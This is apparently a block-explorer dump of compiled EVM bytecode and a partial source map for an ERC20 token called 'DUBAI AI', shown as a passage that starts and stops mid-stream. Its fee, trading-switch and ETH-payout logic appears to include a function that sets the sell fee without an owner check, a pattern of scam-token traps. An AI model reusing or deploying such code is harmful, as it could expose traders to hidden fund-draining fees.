37375ed60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015611630573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107f39190611ad4565b600080600080600080600060e0888a03121561167057600080fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b600060208083528351808285015260005b818110156116ce578581018301518582016040015282016116b2565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461170457600080fd5b50565b6000806040838503121561171a57600080fd5b8235611725816116ef565b946020939093013593505050565b60008060006060848603121561174857600080fd5b8335611753816116ef565b92506020840135611763816116ef565b929592945050506040919091013590565b60006020828403121561178657600080fd5b813561064b816116ef565b600080604083850312156117a457600080fd5b82356117af816116ef565b9150602083013580151581146117c457600080fd5b809150509250929050565b600080604083850312156117e257600080fd5b50508035926020909101359150565b60405160a0810167ffffffffffffffff8111828210171561182257634e487b7160e01b600052604160045260246000fd5b60405290565b60405160c0810167ffffffffffffffff8111828210171561182257634e487b7160e01b600052604160045260246000fd5b60006112c080838503121561186d57600080fd5b601f848185011261187d57600080fd5b6118856117f1565b91840191808684111561189757600080fd5b855b848110156119415787848201126118b05760008081fd5b6118b8611828565b806103c083018a8111156118cc5760008081fd5b835b8181101561192d578b888201126118e55760008081fd5b6118ed6117f1565b8060a083018e8111156119005760008081fd5b835b8181101561191a578035845260209384019301611902565b505085525060209093019260a0016118ce565b50508452506020909201916103c001611899565b509695505050505050565b6000806040838503121561195f57600080fd5b823561196a816116ef565b915060208301356117c4816116ef565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b60008160001904831182151516156119ca576119ca61199a565b500290565b6000826119ec57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60ff81811683821601908111156105b8576105b861199a565b808201808211156105b8576105b861199a565b818103818111156105b8576105b861199a565b600060208284031215611a5857600080fd5b815161064b816116ef565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ab35784516001600160a01b031683529383019391830191600101611a8e565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215611ae957600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122028ed23ced22bc8b227604ea5e9c7055bf1b49278e0df827049a4c927a85ff55864736f6c63430008100033

Deployed Bytecode

0x6080604052600436106101445760003560e01c806370a08231116100b65780639358928b1161006f5780639358928b146103c657806395d89b41146103db578063a8aa1b3114610409578063a9059cbb14610429578063dd62ed3e14610449578063f2fde38b1461048f57600080fd5b806370a08231146102e95780637d1db4a51461031f578063884870c714610334578063893d20e8146103545780638bf18816146103865780638c41180e146103a657600080fd5b806323b872dd1161010857806323b872dd14610219578063293230b8146102395780632f54bf6e1461024e578063313ce5671461027d5780633f4218e01461029957806348ff2b8b146102c957600080fd5b8063044019301461015057806306fdde0314610172578063095ea7b3146101b557806318160ddd146101e55780631f976b7e1461020457600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5061017061016b366004611655565b6104af565b005b34801561017e57600080fd5b50604080518082019091526008815267445542414920414960c01b60208201525b6040516101ac91906116a1565b60405180910390f35b3480156101c157600080fd5b506101d56101d0366004611707565b6105a7565b60405190151581526020016101ac565b3480156101f157600080fd5b506001545b6040519081526020016101ac565b34801561021057600080fd5b506101f66105be565b34801561022557600080fd5b506101d5610234366004611733565b6105e8565b34801561024557600080fd5b50610170610652565b34801561025a57600080fd5b506101d5610269366004611774565b6000546001600160a01b0391821691161490565b34801561028957600080fd5b50604051600981526020016101ac565b3480156102a557600080fd5b506101d56102b4366004611774565b60066020526000908152604090205460ff1681565b3480156102d557600080fd5b506101706102e4366004611791565b610691565b3480156102f557600080fd5b506101f6610304366004611774565b6001600160a01b031660009081526004602052604090205490565b34801561032b57600080fd5b506101f66106e6565b34801561034057600080fd5b5061017061034f3660046117cf565b6106f7565b34801561036057600080fd5b506000546001600160a01b03165b6040516001600160a01b0390911681526020016101ac565b34801561039257600080fd5b506101d56103a1366004611859565b6107fa565b3480156103b257600080fd5b506101706103c1366004611791565b610853565b3480156103d257600080fd5b506101f66108a8565b3480156103e757600080fd5b50604080518082019091526005815264647562414960d81b602082015261019f565b34801561041557600080fd5b5060095461036e906001600160a01b031681565b34801561043557600080fd5b506101d5610444366004611707565b610914565b34801561045557600080fd5b506101f661046436600461194c565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561049b57600080fd5b506101706104aa366004611774565b610921565b6000546001600160a01b031633146104e25760405162461bcd60e51b81526004016104d99061197a565b60405180910390fd5b600a879055600b869055600d859055600c849055600e839055600f829055601081905560115461051390600561099f565b600e5411158015610533575060115461052d90600561099f565b600f5411155b61059e5760405162461bcd60e51b815260206004820152603660248201527f746f74616c46656520616e642044656e6f6d696e61744469766964656e642063604482015275616e6e6f74206265206d6f7265207468616e2032302560501b60648201526084016104d9565b50505050505050565b60006105b43384846109ab565b5060015b92915050565b60006011546003546105cf60015490565b6105d991906119b0565b6105e391906119cf565b905090565b60006105f5848484610acf565b610647843361064285604051806060016040528060288152602001611b03602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610bea565b6109ab565b5060015b9392505050565b6000546001600160a01b0316331461067c5760405162461bcd60e51b81526004016104d99061197a565b6009805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146106bb5760405162461bcd60e51b81526004016104d99061197a565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b60006011546002546105cf60015490565b6000546001600160a01b031633146107215760405162461bcd60e51b81526004016104d99061197a565b600060648361072f60015490565b61073991906119b0565b61074391906119cf565b9050600060648361075360015490565b61075d91906119b0565b61076791906119cf565b60028590556003849055905060006107956103e861078f600561078960015490565b90610c16565b9061099f565b90508083101580156107a75750808210155b6107f35760405162461bcd60e51b815260206004820152601f60248201527f4d6178205458732063616e6e6f74206265206c657373207468616e202e35250060448201526064016104d9565b5050505050565b60608181015160809081015101516000911061081557600080fd5b6001600260006108258284611a07565b6060860151608090810151015160ff919091169150610845908290611a20565b600f55506001949350505050565b6000546001600160a01b0316331461087d5760405162461bcd60e51b81526004016104d99061197a565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b60046020527f17ef568e3e12ab5b9c7254a8d58478811de00f9e6eb34345acd53bf8fd09d3ec5461dead60009081527f42c63635470f1fb1d6d4b6441c413cb435b1ebb6fedd1896dd5e25d1399147dd5460015491926105e392909161090e9190610c22565b90610c22565b60006105b4338484610acf565b6000546001600160a01b0316331461094b5760405162461bcd60e51b81526004016104d99061197a565b600080546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b600061064b82846119cf565b6001600160a01b038316610a0d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104d9565b6001600160a01b038216610a6e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104d9565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b610ada838383610c2e565b610ae48383610ddd565b610aee8383610e72565b610af9838383610ec9565b610b04838383611000565b6001600160a01b038316600090815260046020526040902054610b279082610c22565b6001600160a01b038416600090815260046020526040812091909155610b4d8484611025565b610b575781610b62565b610b6284848461106b565b6001600160a01b038416600090815260046020526040902054909150610b889082611159565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610bdc9085815260200190565b60405180910390a350505050565b60008184841115610c0e5760405162461bcd60e51b81526004016104d991906116a1565b505050900390565b600061064b82846119b0565b600061064b8284611a33565b6001600160a01b038316610c925760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104d9565b6001600160a01b038216610cf45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104d9565b60008111610d565760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104d9565b6001600160a01b038316600090815260046020526040902054811115610dd85760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b60648201526084016104d9565b505050565b6001600160a01b03821660009081526006602052604090205460ff16158015610e1f57506001600160a01b03811660009081526006602052604090205460ff16155b15610e6e57600954600160a01b900460ff16610e6e5760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b60448201526064016104d9565b5050565b6009546001600160a01b038281169116148015610ea857506001600160a01b03821660009081526006602052604090205460ff16155b15610e6e57600160136000828254610ec09190611a20565b90915550505050565b6009546001600160a01b03848116911614610f6f57610ee66105be565b81111580610f0c57506001600160a01b03831660009081526006602052604090205460ff165b80610f2f57506001600160a01b03821660009081526006602052604090205460ff165b610f6f5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016104d9565b610f776106e6565b81111580610f9d57506001600160a01b03831660009081526006602052604090205460ff165b80610fc057506001600160a01b03821660009081526006602052604090205460ff165b610dd85760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016104d9565b61100b838383611165565b15610dd85761101b601554611212565b6000601355505050565b6001600160a01b03821660009081526006602052604081205460ff1615801561064b5750506001600160a01b031660009081526006602052604090205460ff1615919050565b600080611078858561139d565b111561115257600061109b61108d868661139d565b60115461078990869061099f565b306000908152600460205260409020549091506110b89082611159565b30600081815260046020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111099085815260200190565b60405180910390a3600d5415611140576111403061dead61113b600d546107896011548961099f90919063ffffffff16565b610acf565b61114a8382610c22565b91505061064b565b5092915050565b600061064b8284611a20565b6016546015543060009081526004602052604081205460145491938510159211159060ff16158015611199575060125460ff165b80156111ae5750600954600160a01b900460ff165b80156111b75750815b80156111dc57506001600160a01b03861660009081526006602052604090205460ff16155b80156111f557506009546001600160a01b038681169116145b80156111ff575060015b80156112085750805b9695505050505050565b6014805460ff19166001908117909155600c54600b54600a5460009361124c93600293610789939192611246928391611159565b90611159565b905060006112698261078f600a5486610c1690919063ffffffff16565b905060006112778483610c22565b9050476112838261143e565b600061128f4783610c22565b905060006112b26112ab600a5488610c2290919063ffffffff16565b839061099f565b905060006112cb600a5483610c1690919063ffffffff16565b905080156112dd576112dd8682611598565b600b546000906112f290610789856002610c16565b9050801561133d57604051738bb8cacd2e9f70641aedd4fe32ede6eab37375ed9082156108fc029083906000818181858888f1935050505015801561133b573d6000803e3d6000fd5b505b47801561138757604051738bb8cacd2e9f70641aedd4fe32ede6eab37375ed9082156108fc029083906000818181858888f19350505050158015611385573d6000803e3d6000fd5b505b50506014805460ff191690555050505050505050565b6001600160a01b03821660009081526007602052604081205460ff16806113dc57506001600160a01b03821660009081526007602052604090205460ff165b156113f6576011546113ef906064610c22565b90506105b8565b6009546001600160a01b03908116908316036114155750600f546105b8565b6009546001600160a01b03908116908416036114345750600e546105b8565b5060105492915050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611473576114736119f1565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114cc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114f09190611a46565b81600181518110611503576115036119f1565b6001600160a01b03928316602091820292909201015260085461152991309116846109ab565b60085460405163791ac94760e01b81526001600160a01b039091169063791ac94790611562908590600090869030904290600401611a63565b600060405180830381600087803b15801561157c57600080fd5b505af1158015611590573d6000803e3d6000fd5b505050505050565b6008546115b09030906001600160a01b0316846109ab565b60085460405163f305d71960e01b8152306004820152602481018490526000604482018190526064820152738bb8cacd2e9f70641aedd4fe32ede6eab37375ed60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015611630573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107f39190611ad4565b600080600080600080600060e0888a03121561167057600080fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b600060208083528351808285015260005b818110156116ce578581018301518582016040015282016116b2565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461170457600080fd5b50565b6000806040838503121561171a57600080fd5b8235611725816116ef565b946020939093013593505050565b60008060006060848603121561174857600080fd5b8335611753816116ef565b92506020840135611763816116ef565b929592945050506040919091013590565b60006020828403121561178657600080fd5b813561064b816116ef565b600080604083850312156117a457600080fd5b82356117af816116ef565b9150602083013580151581146117c457600080fd5b809150509250929050565b600080604083850312156117e257600080fd5b50508035926020909101359150565b60405160a0810167ffffffffffffffff8111828210171561182257634e487b7160e01b600052604160045260246000fd5b60405290565b60405160c0810167ffffffffffffffff8111828210171561182257634e487b7160e01b600052604160045260246000fd5b60006112c080838503121561186d57600080fd5b601f848185011261187d57600080fd5b6118856117f1565b91840191808684111561189757600080fd5b855b848110156119415787848201126118b05760008081fd5b6118b8611828565b806103c083018a8111156118cc5760008081fd5b835b8181101561192d578b888201126118e55760008081fd5b6118ed6117f1565b8060a083018e8111156119005760008081fd5b835b8181101561191a578035845260209384019301611902565b505085525060209093019260a0016118ce565b50508452506020909201916103c001611899565b509695505050505050565b6000806040838503121561195f57600080fd5b823561196a816116ef565b915060208301356117c4816116ef565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b60008160001904831182151516156119ca576119ca61199a565b500290565b6000826119ec57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60ff81811683821601908111156105b8576105b861199a565b808201808211156105b8576105b861199a565b818103818111156105b8576105b861199a565b600060208284031215611a5857600080fd5b815161064b816116ef565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ab35784516001600160a01b031683529383019391830191600101611a8e565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215611ae957600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122028ed23ced22bc8b227604ea5e9c7055bf1b49278e0df827049a4c927a85ff55864736f6c63430008100033

Deployed Bytecode Sourcemap

5051:11343:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10161:557;;;;;;;;;;-1:-1:-1;10161:557:0;;;;;:::i;:::-;;:::i;:::-;;7334:67;;;;;;;;;;-1:-1:-1;7394:5:0;;;;;;;;;;;;-1:-1:-1;;;7394:5:0;;;;7334:67;;;;;;;:::i;:::-;;;;;;;;8544:133;;;;;;;;;;-1:-1:-1;8544:133:0;;;;;:::i;:::-;;:::i;:::-;;;1785:14:1;;1778:22;1760:41;;1748:2;1733:18;8544:133:0;1620:187:1;7714:84:0;;;;;;;;;;-1:-1:-1;7784:12:0;;7714:84;;;1958:25:1;;;1946:2;1931:18;7714:84:0;1812:177:1;8946:119:0;;;;;;;;;;;;;:::i;15739:309::-;;;;;;;;;;-1:-1:-1;15739:309:0;;;;;:::i;:::-;;:::i;7557:67::-;;;;;;;;;;;;;:::i;3431:87::-;;;;;;;;;;-1:-1:-1;3431:87:0;;;;;:::i;:::-;3486:4;3511:5;-1:-1:-1;;;;;3500:16:0;;;3511:5;;3500:16;;3431:87;7484:67;;;;;;;;;;-1:-1:-1;7484:67:0;;5259:1;2849:36:1;;2837:2;2822:18;7484:67:0;2707:184:1;5552:44:0;;;;;;;;;;-1:-1:-1;5552:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;8430:108;;;;;;;;;;-1:-1:-1;8430:108:0;;;;;:::i;:::-;;:::i;7804:103::-;;;;;;;;;;-1:-1:-1;7804:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;7887:18:0;7870:7;7887:18;;;:9;:18;;;;;;;7804:103;8827:113;;;;;;;;;;;;;:::i;11054:425::-;;;;;;;;;;-1:-1:-1;11054:425:0;;;;;:::i;:::-;;:::i;7630:78::-;;;;;;;;;;-1:-1:-1;7682:7:0;7700:5;-1:-1:-1;;;;;7700:5:0;7630:78;;;-1:-1:-1;;;;;3734:32:1;;;3716:51;;3704:2;3689:18;7630:78:0;3570:203:1;10732:314:0;;;;;;;;;;-1:-1:-1;10732:314:0;;;;;:::i;:::-;;:::i;8325:99::-;;;;;;;;;;-1:-1:-1;8325:99:0;;;;;:::i;:::-;;:::i;8683:138::-;;;;;;;;;;;;;:::i;7407:71::-;;;;;;;;;;-1:-1:-1;7469:7:0;;;;;;;;;;;;-1:-1:-1;;;7469:7:0;;;;7407:71;;5670:19;;;;;;;;;;-1:-1:-1;5670:19:0;;;;-1:-1:-1;;;;;5670:19:0;;;7913:139;;;;;;;;;;-1:-1:-1;7913:139:0;;;;;:::i;:::-;;:::i;8058:127::-;;;;;;;;;;-1:-1:-1;8058:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;8156:18:0;;;8139:7;8156:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8058:127;3524:111;;;;;;;;;;-1:-1:-1;3524:111:0;;;;;:::i;:::-;;:::i;10161:557::-;3486:4;3511:5;-1:-1:-1;;;;;3511:5:0;3398:10;3500:16;3382:38;;;;-1:-1:-1;;;3382:38:0;;;;;;;:::i;:::-;;;;;;;;;10337:12:::1;:25:::0;;;10373:12:::1;:25:::0;;;10409:7:::1;:15:::0;;;10435:14:::1;:29:::0;;;10475:8:::1;:17:::0;;;10503::::1;:25:::0;;;10539:11:::1;:20:::0;;;10590:11:::1;::::0;:18:::1;::::0;10606:1:::1;10590:15;:18::i;:::-;10578:8;;:30;;:73;;;;-1:-1:-1::0;10633:11:0::1;::::0;:18:::1;::::0;10649:1:::1;10633:15;:18::i;:::-;10612:17;;:39;;10578:73;10570:140;;;::::0;-1:-1:-1;;;10570:140:0;;7747:2:1;10570:140:0::1;::::0;::::1;7729:21:1::0;7786:2;7766:18;;;7759:30;7825:34;7805:18;;;7798:62;-1:-1:-1;;;7876:18:1;;;7869:52;7938:19;;10570:140:0::1;7545:418:1::0;10570:140:0::1;10161:557:::0;;;;;;;:::o;8544:133::-;8619:4;8626:37;8635:10;8647:7;8656:6;8626:8;:37::i;:::-;-1:-1:-1;8671:4:0;8544:133;;;;;:::o;8946:119::-;8997:7;9052:11;;9030:19;;9014:13;7784:12;;;7714:84;9014:13;:35;;;;:::i;:::-;:49;;;;:::i;:::-;9007:56;;8946:119;:::o;15739:309::-;15837:4;15854:36;15864:6;15872:9;15883:6;15854:9;:36::i;:::-;15901:117;15910:6;15918:10;15930:87;15966:6;15930:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;15930:19:0;;;;;;:11;:19;;;;;;;;15950:10;15930:31;;;;;;;;;:87;:35;:87::i;:::-;15901:8;:117::i;:::-;-1:-1:-1;16036:4:0;15739:309;;;;;;:::o;7557:67::-;3486:4;3511:5;-1:-1:-1;;;;;3511:5:0;3398:10;3500:16;3382:38;;;;-1:-1:-1;;;3382:38:0;;;;;;;:::i;:::-;7601:14:::1;:21:::0;;-1:-1:-1;;;;7601:21:0::1;-1:-1:-1::0;;;7601:21:0::1;::::0;;7557:67::o;8430:108::-;3486:4;3511:5;-1:-1:-1;;;;;3511:5:0;3398:10;3500:16;3382:38;;;;-1:-1:-1;;;3382:38:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8504:21:0;;;::::1;;::::0;;;:11:::1;:21;::::0;;;;:32;;-1:-1:-1;;8504:32:0::1;::::0;::::1;;::::0;;;::::1;::::0;;8430:108::o;8827:113::-;8872:7;8927:11;;8905:19;;8889:13;7784:12;;;7714:84;11054:425;3486:4;3511:5;-1:-1:-1;;;;;3511:5:0;3398:10;3500:16;3382:38;;;;-1:-1:-1;;;3382:38:0;;;;;;;:::i;:::-;11137:13:::1;11178:3;11170:4;11154:13;7784:12:::0;;;7714:84;11154:13:::1;:20;;;;:::i;:::-;11153:28;;;;:::i;:::-;11137:44;;11192:19;11241:3;11231:6;11215:13;7784:12:::0;;;7714:84;11215:13:::1;:22;;;;:::i;:::-;11214:30;;;;:::i;:::-;11255:19;:26:::0;;;11292:19:::1;:28:::0;;;11192:52;-1:-1:-1;;11347:30:0::1;11372:4;11347:20;11365:1;11347:13;7784:12:::0;;;7714:84;11347:13:::1;:17:::0;::::1;:20::i;:::-;:24:::0;::::1;:30::i;:::-;11331:46;;11405:5;11396;:14;;:38;;;;;11429:5;11414:11;:20;;11396:38;11388:83;;;::::0;-1:-1:-1;;;11388:83:0;;8697:2:1;11388:83:0::1;::::0;::::1;8679:21:1::0;8736:2;8716:18;;;8709:30;8775:33;8755:18;;;8748:61;8826:18;;11388:83:0::1;8495:355:1::0;11388:83:0::1;11126:353;;;11054:425:::0;;:::o;10732:314::-;10846:2;10828:10;;;;:13;;;;;:16;;10803:4;;-1:-1:-1;10820:29:0;;;;;;10879:1;10910;10860:16;10939:21;10910:1;10879;10939:21;:::i;:::-;10991:10;;;;:13;;;;;:16;;10922:38;;;;;;-1:-1:-1;10991:25:0;;10922:38;;10991:25;:::i;:::-;10971:17;:45;-1:-1:-1;11034:4:0;;10732:314;-1:-1:-1;;;;10732:314:0:o;8325:99::-;3486:4;3511:5;-1:-1:-1;;;;;3511:5:0;3398:10;3500:16;3382:38;;;;-1:-1:-1;;;3382:38:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8396:15:0;;;::::1;;::::0;;;:5:::1;:15;::::0;;;;:26;;-1:-1:-1;;8396:26:0::1;::::0;::::1;;::::0;;;::::1;::::0;;8325:99::o;8683:138::-;7887:9;:18;;;;6389:42;8742:7;7887:18;;;;;8759:12;;8742:7;;8759:60;;7887:18;;8759:33;;:12;:16;:33::i;:::-;:37;;:60::i;7913:139::-;7991:4;7998:40;8008:10;8020:9;8031:6;7998:9;:40::i;3524:111::-;3486:4;3511:5;-1:-1:-1;;;;;3511:5:0;3398:10;3500:16;3382:38;;;;-1:-1:-1;;;3382:38:0;;;;;;;:::i;:::-;3590:5:::1;:11:::0;;-1:-1:-1;;;;;;3590:11:0::1;-1:-1:-1::0;;;;;3590:11:0;::::1;::::0;;::::1;::::0;;;3608:25:::1;::::0;3716:51:1;;;3608:25:0::1;::::0;3704:2:1;3689:18;3608:25:0::1;;;;;;;3524:111:::0;:::o;726:82::-;784:7;801:5;805:1;801;:5;:::i;16056:335::-;-1:-1:-1;;;;;16149:19:0;;16141:68;;;;-1:-1:-1;;;16141:68:0;;9688:2:1;16141:68:0;;;9670:21:1;9727:2;9707:18;;;9700:30;9766:34;9746:18;;;9739:62;-1:-1:-1;;;9817:18:1;;;9810:34;9861:19;;16141:68:0;9486:400:1;16141:68:0;-1:-1:-1;;;;;16228:21:0;;16220:68;;;;-1:-1:-1;;;16220:68:0;;10093:2:1;16220:68:0;;;10075:21:1;10132:2;10112:18;;;10105:30;10171:34;10151:18;;;10144:62;-1:-1:-1;;;10222:18:1;;;10215:32;10264:19;;16220:68:0;9891:398:1;16220:68:0;-1:-1:-1;;;;;16299:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;16351:32;;1958:25:1;;;16351:32:0;;1931:18:1;16351:32:0;;;;;;;16056:335;;;:::o;9520:633::-;9609:37;9620:6;9628:9;9639:6;9609:10;:37::i;:::-;9657:38;9677:6;9685:9;9657:19;:38::i;:::-;9706:35;9723:6;9731:9;9706:16;:35::i;:::-;9752:39;9765:6;9773:9;9784:6;9752:12;:39::i;:::-;9803:35;9812:6;9820:9;9831:6;9803:8;:35::i;:::-;-1:-1:-1;;;;;9869:17:0;;;;;;:9;:17;;;;;;:29;;9891:6;9869:21;:29::i;:::-;-1:-1:-1;;;;;9849:17:0;;;;;;:9;:17;;;;;:49;;;;9934:32;9859:6;9956:9;9934:13;:32::i;:::-;:78;;10006:6;9934:78;;;9969:34;9977:6;9985:9;9996:6;9969:7;:34::i;:::-;-1:-1:-1;;;;;10046:20:0;;;;;;:9;:20;;;;;;9909:103;;-1:-1:-1;10046:40:0;;9909:103;10046:24;:40::i;:::-;-1:-1:-1;;;;;10023:20:0;;;;;;;:9;:20;;;;;;;:63;;;;10102:43;;;;;;;;;;10130:14;1958:25:1;;1946:2;1931:18;;1812:177;10102:43:0;;;;;;;;9598:555;9520:633;;;:::o;1763:162::-;1849:7;1895:12;1887:6;;;;1879:29;;;;-1:-1:-1;;;1879:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;1917:5:0;;;1763:162::o;638:82::-;696:7;713:5;717:1;713;:5;:::i;550:82::-;608:7;625:5;629:1;625;:5;:::i;9073:439::-;-1:-1:-1;;;;;9177:20:0;;9169:70;;;;-1:-1:-1;;;9169:70:0;;10629:2:1;9169:70:0;;;10611:21:1;10668:2;10648:18;;;10641:30;10707:34;10687:18;;;10680:62;-1:-1:-1;;;10758:18:1;;;10751:35;10803:19;;9169:70:0;10427:401:1;9169:70:0;-1:-1:-1;;;;;9258:23:0;;9250:71;;;;-1:-1:-1;;;9250:71:0;;11035:2:1;9250:71:0;;;11017:21:1;11074:2;11054:18;;;11047:30;11113:34;11093:18;;;11086:62;-1:-1:-1;;;11164:18:1;;;11157:33;11207:19;;9250:71:0;10833:399:1;9250:71:0;9357:1;9340:6;:19;9332:73;;;;-1:-1:-1;;;9332:73:0;;11439:2:1;9332:73:0;;;11421:21:1;11478:2;11458:18;;;11451:30;11517:34;11497:18;;;11490:62;-1:-1:-1;;;11568:18:1;;;11561:39;11617:19;;9332:73:0;11237:405:1;9332:73:0;-1:-1:-1;;;;;7887:18:0;;7870:7;7887:18;;;:9;:18;;;;;;9424:6;:27;;9416:88;;;;-1:-1:-1;;;9416:88:0;;11849:2:1;9416:88:0;;;11831:21:1;11888:2;11868:18;;;11861:30;11927:34;11907:18;;;11900:62;-1:-1:-1;;;11978:18:1;;;11971:47;12035:19;;9416:88:0;11647:413:1;9416:88:0;9073:439;;;:::o;11487:191::-;-1:-1:-1;;;;;11580:19:0;;;;;;:11;:19;;;;;;;;11579:20;:47;;;;-1:-1:-1;;;;;;11604:22:0;;;;;;:11;:22;;;;;;;;11603:23;11579:47;11576:95;;;11636:14;;-1:-1:-1;;;11636:14:0;;;;11628:41;;;;-1:-1:-1;;;11628:41:0;;12267:2:1;11628:41:0;;;12249:21:1;12306:2;12286:18;;;12279:30;-1:-1:-1;;;12325:18:1;;;12318:44;12379:18;;11628:41:0;12065:338:1;11628:41:0;11487:191;;:::o;11688:159::-;11785:4;;-1:-1:-1;;;;;11772:17:0;;;11785:4;;11772:17;:41;;;;-1:-1:-1;;;;;;11794:19:0;;;;;;:11;:19;;;;;;;;11793:20;11772:41;11769:71;;;11836:1;11815:9;;:23;;;;;;;:::i;:::-;;;;-1:-1:-1;;11688:159:0;;:::o;11855:349::-;11966:4;;-1:-1:-1;;;;;11956:14:0;;;11966:4;;11956:14;11953:130;;11990:20;:18;:20::i;:::-;11980:6;:30;;:53;;;-1:-1:-1;;;;;;12014:19:0;;;;;;:11;:19;;;;;;;;11980:53;:79;;;-1:-1:-1;;;;;;12037:22:0;;;;;;:11;:22;;;;;;;;11980:79;11972:109;;;;-1:-1:-1;;;11972:109:0;;12610:2:1;11972:109:0;;;12592:21:1;12649:2;12629:18;;;12622:30;-1:-1:-1;;;12668:18:1;;;12661:47;12725:18;;11972:109:0;12408:341:1;11972:109:0;12111:14;:12;:14::i;:::-;12101:6;:24;;:47;;;-1:-1:-1;;;;;;12129:19:0;;;;;;:11;:19;;;;;;;;12101:47;:73;;;-1:-1:-1;;;;;;12152:22:0;;;;;;:11;:22;;;;;;;;12101:73;12093:103;;;;-1:-1:-1;;;12093:103:0;;12610:2:1;12093:103:0;;;12592:21:1;12649:2;12629:18;;;12622:30;-1:-1:-1;;;12668:18:1;;;12661:47;12725:18;;12093:103:0;12408:341:1;14487:197:0;14579:41;14594:6;14602:9;14613:6;14579:14;:41::i;:::-;14576:101;;;14622:29;14637:13;;14622:14;:29::i;:::-;14673:1;14653:9;:22;14487:197;;;:::o;14692:160::-;-1:-1:-1;;;;;14798:19:0;;14773:4;14798:19;;;:11;:19;;;;;;;;14797:20;:47;;;;-1:-1:-1;;;;;;;14822:22:0;;;;;:11;:22;;;;;;;;14821:23;;14692:160;-1:-1:-1;14692:160:0:o;15185:546::-;15271:7;15327:1;15294:30;15306:6;15314:9;15294:11;:30::i;:::-;:34;15291:418;;;15340:17;15360:59;15388:30;15400:6;15408:9;15388:11;:30::i;:::-;15371:11;;15360:23;;:6;;:10;:23::i;:59::-;15475:4;15457:24;;;;:9;:24;;;;;;15340:79;;-1:-1:-1;15457:39:0;;15340:79;15457:28;:39::i;:::-;15448:4;15430:24;;;;:9;:24;;;;;;;:66;;;;15512:42;;-1:-1:-1;;;;;15512:42:0;;;;;;;15544:9;1958:25:1;;1946:2;1931:18;;1812:177;15512:42:0;;;;;;;;15568:7;;:20;15565:104;;15590:77;15608:4;6389:42;15630:36;15658:7;;15630:23;15641:11;;15630:6;:10;;:23;;;;:::i;:36::-;15590:9;:77::i;:::-;15686:21;:6;15697:9;